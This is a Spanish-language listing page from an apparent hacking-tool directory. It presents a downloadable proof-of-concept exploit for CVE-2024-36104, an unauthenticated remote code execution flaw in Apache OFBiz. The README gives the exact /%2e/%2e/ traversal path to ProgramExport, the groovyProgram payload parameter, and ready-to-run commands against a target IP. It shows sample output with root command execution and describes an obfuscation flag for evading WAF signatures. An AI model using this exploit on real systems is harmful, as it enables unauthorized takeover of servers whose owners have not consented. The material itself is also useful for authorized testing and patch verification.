Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-36104-PoC — PoC para CVE-2024-36104 — RCE de Groovy sin autenticación en Apache OFBiz (<18.12.14) mediante path traversal de vista /%2e/%2e/ hacia ProgramExport | Kitploit
Herramientas/GitHubGitHub/groppoxx/cve-2024-36104-poc
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubgroppoxx/cve-2024-36104-poc

CVE-2024-36104-PoC

PoC para CVE-2024-36104 — RCE de Groovy sin autenticación en Apache OFBiz (<18.12.14) mediante path traversal de vista /%2e/%2e/ hacia ProgramExport

Ver Repositorio
312hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-36104-PoC

Prueba de concepto para CVE-2024-36104, una vulnerabilidad de ejecución remota de código no autenticada en Apache OFBiz anterior a 18.12.14.

El ControlServlet de OFBiz resuelve una vista no autenticada (forgotPassword) antes de canonicalizar la ruta de la solicitud. Agregar /%2e/%2e/ colapsa de vuelta sobre /webtools/control/, por lo que la solicitud llega a la vista ProgramExport sin pasar nunca por la comprobación de seguridad/permisos vinculada a la vista original. ProgramExport ejecuta entonces código Groovy arbitrario, lo que permite ejecución remota de comandos no autenticada.

El script envuelve el comando en un fragmento Groovy que lo ejecuta a través de /usr/bin/bash -lc, lo envía al endpoint vulnerable y extrae la salida de la java.lang.Exception que OFBiz devuelve en la respuesta HTML.

Qué Hace

  1. Valida y normaliza la URL de destino.
  2. Construye la ruta de traversal /%2e/%2e/ desde forgotPassword hasta ProgramExport.
  3. Envuelve el comando en un payload Groovy ejecutado mediante Bash.
  4. Envía el payload como groovyProgram al endpoint vulnerable.
  5. Analiza la respuesta HTML y extrae la salida del comando.
  6. En caso de error de análisis o errores del servidor, recurre a la respuesta sin procesar.

Requisitos

Python 3.8+

pip install -r requirements.txt

Paquetes de Python necesarios:

requests
urllib3

Inicio Rápido

Los valores encerrados entre corchetes angulares son marcadores de posición. Reemplázalos con tus propios valores y no incluyas los caracteres < ni >.

python3 cve_2024_36104.py \
  --target <TARGET_URL> \
  --command <COMMAND>

Marcadores de Posición

<TARGET_URL>  # Target base URL. Example: https://10.129.231.23
<COMMAND>     # Command that Bash will interpret. Example: id

Ejemplo Completo

python3 cve_2024_36104.py \
  --target https://10.129.231.23 \
  --command "id"

Salida de ejemplo:

[2026-05-17T18:20:10Z] [*] Target: https://10.129.231.23/webtools/control/forgotPassword/%2e/%2e/ProgramExport
[2026-05-17T18:20:10Z] [*] Host header sent: localhost
[2026-05-17T18:20:10Z] [*] Command: id
[2026-05-17T18:20:11Z] [*] HTTP status: 200
[2026-05-17T18:20:11Z] [*] Response size: 4213 bytes

[+] Output of: id
uid=0(root) gid=0(root) groups=0(root)

Opciones Opcionales

-H, --host-header <HOST>
   Value of the Host header. Default: localhost

--prefix-view <VIEW>
   Unauthenticated view used before the /%2e/%2e/ traversal. Default: forgotPassword

--target-view <VIEW>
   View reached after the traversal. Default: ProgramExport

--endpoint <PATH>
   Full custom endpoint path, overrides --prefix-view/--target-view.

--timeout <SECONDS>
   Maximum HTTP request time. Default: 15

--obfuscate
   Send groovyProgram as \uXXXX escapes instead of plaintext, matching the
   encoding used in public write-ups to dodge naive WAF signatures.

--show-payload
   Print the generated Groovy code before sending it.

--show-response
   Print the full HTML response.

--only-final
   Hide progress logs and print only the command output.

--no-color
   Disable ANSI colors.

--debug
   Enable extra diagnostic logging.

Notas

  • Afecta a las versiones de Apache OFBiz anteriores a 18.12.14.
  • No se requiere autenticación ni interacción del usuario.
  • Si el servidor devuelve 502, probablemente el backend no terminó antes del timeout del proxy; el comando puede completarse igualmente en el servidor.
  • Usa --show-response para inspeccionar el HTML sin procesar cuando falla la extracción automática.

Legal

Este PoC está destinado a pruebas de seguridad autorizadas, entornos de laboratorio y verificación de vulnerabilidades. No lo utilices contra sistemas sin permiso explícito.

Descargar herramienta